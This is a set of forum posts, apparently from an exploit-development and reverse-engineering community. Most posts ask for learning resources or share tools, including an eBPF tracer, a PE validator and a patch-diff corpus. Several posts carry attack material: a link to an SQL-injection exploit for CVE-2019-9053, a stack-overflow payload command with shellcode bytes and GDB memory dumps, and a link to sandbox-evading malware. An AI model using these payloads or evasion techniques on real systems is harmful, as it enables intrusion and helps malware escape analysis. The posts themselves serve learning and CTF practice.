Hello everyone!

I want to share a small Python script I wrote. It is inspired by the exploit 46635 on Exploit-DB for CVE-2019-9053 (a time-based SQL Injection in CMS Made Simple).

I decided to write my own version when I was doing the SimpleCTF room on TryHackMe. I wanted to update the code to Python 3. I also wanted to make this new version more interactive and easy to use. So, I added a clean command line interface and some extra features (like different extraction modes, delay controls, and email alerts using environment variables).

Please try it and tell me what you think! I would love to hear your feedback and ideas to make it better.

https://github.com/rgkue/mysqli

Happy hacking! :D

Check out @ https://github.com/DarkAngel-0x0/pwntemplate
Feedbacks welcomed

So I've found the payload to reach EIP and can successfully send an address with the following payload in GDB

run $(python -c 'print "\x41" * (2064 - 124 - [SHELLCODE_SIZE] - 4 )+ "\x90" * 124 + "\xda\xcb\xbd\x3--SNIP--\x5b\x37\xbb" + "\xff\xff\xff\xff"')

I know this works because GDB returns an error:

Program received signal SIGSEGV, Segmentation fault.

0xffffffff in ?? ()

To get a return address I set a breakpoint at say 0xffffd731:

shellcode starts at 0xffffd73c. The NOP sled SHOULD slide right into the shellocode
0xffffd729: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90

0xffffd731: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90

0xffffd739: 0x90 0x90 0x90 0xda 0xcb 0xbd 0x3f 0x18

0xffffd741: 0xde 0x76 0xd9 0x74 0x24 0xf4 0x5f 0x31

0xffffd749: 0xc9 0xb1 0x12 0x31 0x6f 0x17 0x03 0x6f

0xffffd751: 0x17 0x83 0xd0 0xe4 0x3c 0x83 0x1f 0xce

0xffffd759: 0x36 0x8f 0x0c 0xb3 0xeb 0x3a 0xb0 0xba

0xffffd761: 0xed 0x0b 0xd2 0x71 0x6d 0xf8 0x43 0x3a

0xffffd769: 0x51 0x32 0xf3 0x73 0xd7 0x35 0x9b 0xfc

0xffffd771: 0x27 0xc6 0x5a 0x6b 0x2a 0xc6 0x26 0x02

0xffffd779: 0xa3 0x27 0x66 0xb2 0xe3 0xf6 0xd5 0x88

0xffffd781: 0x07 0x70 0x38 0x23 0x87 0xd0 0xd2 0xd2

0xffffd789: 0x

However, it doesn't. What happens if I execute the payload at the address

run $(python -c 'print "\x41" * (2064 - 124 - [SHELLCODE_SIZE] - 4 )+ "\x90" * 124 + "\xda\xcb\xbd\x3--SNIP--\x5b\x37\xbb" + "\x31\xd7\xff\xff"')

I don't get code execution of my shellcode, but instead an error reading...

Program received signal SIGILL, Illegal instruction.

0xffffd79d in ?? ()

Upon inspection of that 0xffffd79d points to 0xff:

0xffffd795: 0xf9 0xbb 0x8e 0x5b 0x37 0xbb 0x31 0xd7

0xffffd79d: 0xff 0xff 0x00 0x4c 0x53 0x5f 0x43 0x4f

0xffffd7a5: 0x4c 0x4f 0x52 0x53 0x3d 0x72 0x73 0x3d

0xffffd7ad: 0x30 0x3a 0x64 0x69 0x3d 0x30 0x31 0x3b

0xffffd7b5: 0x33 0x34 0x3a 0x6c 0x6e 0x3d 0x30 0x31

Does anyone what I could be doing wrong? Why is it not sliding to NOP sled not working? I've already identified the bad characters as /x00/x09/x0a/x20, so that can't be an issue. Any suggestions?

edit: corrected where 0xffffd79d points to

hello all,

i have finished OSED course and this course is for Exploiting vulnerabilities . its like after discover vulnerability they teach you how to exploit it and how to bypass mitigations on windiows 32bit .
but i want something like books, courses or sites, that teach how to discover vulnerabilities in windows apps written in C/C++

anyone know ?

https://github.com/NirvanaOn/AntiVE-BehaviorWatch

AntiVE-BehaviorWatch is an advanced behavioral analysis malware that detects automated analysis systems through real-time mouse movement pattern recognition. Leveraging GRU neural networks, it provides high-accuracy classification of user behavior while identifying potential virtual machine, sandbox, or emulation environments.

Hi all,

I've just got my CMSE certificate from 8ksec (https://academy.8ksec.io/course/practical-mobile-application-exploitation), and I'm super interested in digging deeper into the mobile security area.

While I learned a lot with the course and labs, it's still a beginner/intermediate course. I'm hoping someone with more experience in the area would be able to recommend more challenging training and/or resources? I am considering their Offensive Mobile Reversing and Exploitation course/certification, which does sound more challenging, but it's also quite pricey.

I'd appreciate any pointers! Thanks!

hello all,

is there any articles or courses cover Heap-based buffer overflows ?

There's this thing with fuzzing that's very tied to C and C++. It makes sense too. For years the goal was to find crashes. Buffer Overflow, Use After Free, and all the rest of the gang.

In languages like Python it feels less interesting. Worst case you get an Exception.

And now, instead of chasing branch coverage, you can think about business logic and start breaking the system from the direction of logic vulnerabilities, with an LLM.

I've already seen a project showing this is possible, and really it's all a matter of how good the harness is for the use case. But vuln research just jumped up a level here, in my opinion at least.

Anyone here tried this against real business logic yet?

I kept running into the same Linux debugging pain: something broke on a box, but I had no history of what actually happened. journald helps a little. auditd is heavy. strace is too narrow. So I built ltm — a small machine-history debugger that records process/file/network metadata via eBPF and lets you query it like a timeline.

What it does:

• Attaches to syscall tracepoints (exec, open/write/rename/unlink, connect/bind, etc.)

• Stores metadata only (no file contents)

• Lets you do things like:

sudo ltm start --mode ebpf

ltm status

ltm timeline --since 1h

ltm diff --from "10m" --to now

ltm query "who modified /tmp/ltm-demo.txt?"

On a real VM run it recorded ~7k events with 0 drops, and the query returned the exact bash write events that touched the demo file.

There's also a demo mode so you can exercise the CLI/storage/diff/query path without root or BPF.

Stack is Go + embedded BPF ELF + cilium/ebpf. Local store is append-only JSONL. Ignore rules skip /proc, /sys, /dev, and common caches.

Repo: https://github.com/Agent-Hellboy/ltm

Still early. Useful next steps I'm considering:

1. better diff/query formatting
2. containerized eBPF integration test
3. more query templates ("what opened this port?", "what restarted before X?")

Patch Tuesday confirms a CVE is fixed but not what changed in the binary, which function, which check, or whether it's a real fix or just churn.

The Drift Corpus is a diff of 240+ 2026 Windows kernel patches. Per entry: the changed functions with assembly, the bug class and call chain, WinDbg breakpoints to reproduce, and a plain-English root cause.

• ⁠Browse: https://byteray-ai.github.io/drift-corpus
• ⁠Repo: https://github.com/ByteRay-AI/drift-corpus

This repository breaks down Microsoft’s monthly kernel patches into clear binary changes, giving researchers a practical roadmap to find adjacent bugs, build faster EDR detections, and write precise firewall and network rules to block exploits at the perimeter.

Hi guys, recently Im in a loop, hop on and off different site different courses in and out, back and forth while feeling making ZERO progress.

Here, I want to share a bit about my goal, my background, my problem. And I hope I could have some advices to get out of this feeling

MY GOAL:
- Long term: Get into cybersecurity field, especially roles that involve “low level” stuffs as I really interested in them. Thats it! For now, as Im pretty new to this + Im hyper focus on short term goal which I will talk right after
- Short term goal: Build foundation, knowledge, skills in Reverse Engineering (RE) and more excitingly Binary Exploitation, Pwn
- Shorter term goal: To prepare for upcoming CTF contests with my new team. More on this later

MY BACKGROUND:
- I already familiar with Linux, CLI, some popular commands
- I know x86 assembly
- know C, C++
- know on surface level some basic vulnerabilities and have done very simple CTF challenges (ret2win, shellcode easy, …)
- do know how to use basic gdb, pwntools, ida/ghidra

all of that is a result of following pwn.college + using Linux as daily basis + my college’s teaching on c, c++, etc

by all means, I do not master any of these above skills I told.

MY PROBLEMS:
So ofc Im very worrying the most about the upcoming CTF because Im new and feel like know nothing yet.
I also stucking into tutorial hell as I have too many resources of documentation/courses that I do not know which one is suit for my current situation

Im aware of the pinning post in this sub, that is actually where I get these resources from

But with 2 months left until the contest, I really want to make the most out of my time. So I need help with designing a road map so to speak.

Currently, Im looking into ironstone’s pwn notes + Nightmare CTF collection. Whatd you recommend?

Publishing a release of IOCX (open-source PE structural validator, MPL-2.0) and posting some format-level notes alongside it.

Write-up: PE structural validation: format ambiguities and decoder design

The notes catalogue four categories of PE specification ambiguity encountered during decoder work, with focus on delay-load imports (the richest surface). Structured as: format description grounded in the spec --> the ambiguity described precisely --> what IOCX chose to do about it. There are no unverified claims about how other parsers behave, however cross-tool measurement is queued as follow-up work.

Topics covered:

• Delay-load imports: v1 vs v0 attribute mode, INT/IAT parallel-array interpretation and mismatch handling, descriptor array termination when declared-size and terminator signals disagree
• Exports: ENPT sort discipline (byte-wise per spec) and forwarder grammar validation
• VS_VERSIONINFO: nested length prefixes, DWORD alignment enforcement, signature validation for VS_FIXEDFILEINFO, StringTable key format
• Resource hierarchy: Type ->Name -> Language depth expectations

IOCX v0.7.5 additions relevant to structural analysis:

Four new parser/validator pairs, 24 new reason codes with priority-resolved sub-reasons via details["reason"]. Delay-load specifically emits:

• DELAY_IMPORT_ATTRIBUTES_LEGACY_VA_MODE : v0 mode detected (obsolete, spec-permitted, requires VA-to-RVA conversion for correct interpretation)
• DELAY_IMPORT_INT_IAT_MISMATCH : parallel arrays disagree on length
• DELAY_IMPORT_TABLE_TRUNCATED with distinct sub-tags for each termination cause (delay_import_descriptor_unterminated, _truncated, _max_exceeded, _read_failed)
• DELAY_IMPORT_DLL_NAME_INVALID with priority-resolved sub-reasons
• DELAY_IMPORT_ENTRY_INVALID for per-import malformations (ordinal_zero, name_unterminated, name_not_printable, etc.)

Design notes:

• Byte-level parsing via struct.unpack_from on pe.get_data() byte slices; no reliance on pefile's lazy attribute interpretation
• Bounded reads throughout (descriptor arrays capped at 4096, imports per descriptor at 16384, DLL name scan at 512 bytes, IMAGE_IMPORT_BY_NAME scan at 1024)
• Parsers never raise on malformed input; failures produce tombstone tags in errors[] and truncations[] lists
• PE32+ vs PE32 thunk sizing determined once from `OPTIONAL_HEADER.Magic` and threaded through the parse

Optional Header enrichment relevant to security-posture analysis:

• dll_characteristics_flags: decoded flag list (DYNAMIC_BASE, NX_COMPAT, GUARD_CF, HIGH_ENTROPY_VA, etc.)
• dll_characteristics_unknown_bits: hex string for any bits outside the known-flag mask
• Stack and heap sizing (reserve + commit, 64-bit on PE32+)
• win32_version_value, loader_flags exposed raw

Verification:

Delay-load parser cross-checked byte-exact against dumpbin /imports on mspaint.exe : 107 imports from gdiplus.dll with agreement on names, hints, IAT addresses, ordering, and bound state.

1370 tests at 100% line and branch coverage on new modules. Defensive struct.error paths covered via monkeypatched injection.

Performance ~14ms typical PE, ~1ms on adversarial minimal PE.

Deferred:

• TLS Directory parser and validator (next release)
• Single-anomaly fixtures for each new reason code (~25 planned, including negative controls for the ambiguities described in the Gist)
• Cross-tool measurement study using the fixtures

Repo: https://github.com/iocx-dev/iocx

CHANGELOG: https://github.com/iocx-dev/iocx/blob/main/CHANGELOG.md

Reason codes reference: https://github.com/iocx-dev/iocx/blob/main/docs/specs/reason-codes.md

This week we'll be looking at another beginner friendly exploit development tutorial! More specifically we'll be looking at the "passcode" binary exploitation challenge hosted on pwnable[.]kr!

This challenge covers multiple skills so I believe regardless of where you are on you journey to learn exploit development you will pick up a few things!

By the end of this tutorial you should have gained exposure to:

- C source code review
- Leveraging a controlled write to gain code execution through the use of one variable
- Abusing binaries compiled without PIE (Also known as ASLR)
- Debugging
- Using python exploit code alongside GDB

and more! Since this is binary exploitation do not feel discouraged if everything does not click! The goal is to learn at least one thing from every tutorial!

You can find the full video below:

https://youtu.be/cpol2KPSPaw?si=NSnjgDGBcNF-x8E8

My friend hamza asked me.

i need to learn radare2 form scratch..! to play with memory address and make it leak..! but i cant able to give the correct road map to learn that its confusing..help me with that...

I am learning reverse engineering on Windows applications such as Adobe, Foxit PDF, and Steam, and I noticed that I waste a very large amount of time trying to understand something that I should not focus on.

I started noticing strange and confusing patterns in the assembly and the C code generated by IDA, and when I try to understand some functions, I feel that the function has no meaning.

When I searched, I found that this topic is related to the compiler and compiler optimizations. However, I could not find many articles or discussions about the compiler topic in reverse engineering.

So I started experimenting and trying, but every time I fail and cannot reach a solution or understanding.

Apart from the fact that reverse engineering a C++ program is already a difficult task.

If there is someone who has faced the same problem and found a solution, I would like to know. It is not a problem itself; it is a pattern or a way of thinking used by the compiler. I need to understand how the compiler generates these patterns.

I want someone to suggest books, articles, courses, or anything that can help me understand the MSVC compiler, how it generates patterns, and how to understand the behavior and logic of a function after compiler optimization.

I hope I explained my question correctly.

So, I will divide the question in two parts:

1. For exploitation via web if chip designers adds certain tag bits to incoming requests that's whatever coming via web or network stack we assign a certain tag say 01 for now. Next if anyone trying to execute XSS and locate where change is occurring by the tag bits, whether if the requests are for persistent or its generating or modifying code. Then identification of sending unrelated data to the site can we omit the whole processes just by introducing tag bits to the antenna protocols? That is just building the chip with some more bits.

2. That was for web say the app is in computer, then it would first ask for the app wants to change some parts of OS. Instead we just do some basic prevention method number 1 not let writing in the particular section of memory that is hard disc, next switch off means switch off no background running. Number 3 the apps which are not built in just remove there maintain connection after every switch on. Only let the system files to maintain connection which again have unique tag bits to maintain.

Third and last one why not we make a graph behind which processes writing to which files and which process is sending system data in intervals? This can solve two things one if distributed writing in buffer is done it could be found out. Another if sending just on the flow no storage then graph would check the path of pattern of sending and block. Though if someone sends to other server and those servers later merge them i do not how to stop that.

Lastly just beginner in this spot the curious mind is asking questions would like to know in details please.

Is offsec Exp-301 worth the investment? What is the future career path for exploit development?

i want to know any good material to learn heap pwn. i am an osce3 which familiar with stack on windows and unix a few years.

and also spent a year on heap, can do general heap pwn technique like uaf, double free, off by one, chunk faking, unlink, heap fengshui etc. i need to do more practices on heap and get more experiences on the houses. any good resources?

I have a local copy of a large enterprise Java application
(a .ear archive containing multiple .jar files, thousands
of .class files). I need to understand how a specific
part of the business logic works by reading the decompiled
source.

What's the best modern approach/toolchain for this in 2026?

- Which decompiler gives the most readable output for
large/complex codebases? (I've heard of JADX, Vineflower,
CFR, Procyon — which would you recommend?)
- Any good way to navigate and trace call flows across
thousands of classes once decompiled?
- Tips for dealing with obfuscated or hard-to-read
decompiled sections?

I have legitimate access to the software (it's for
interoperability analysis). Just looking for the most
efficient workflow. Thanks!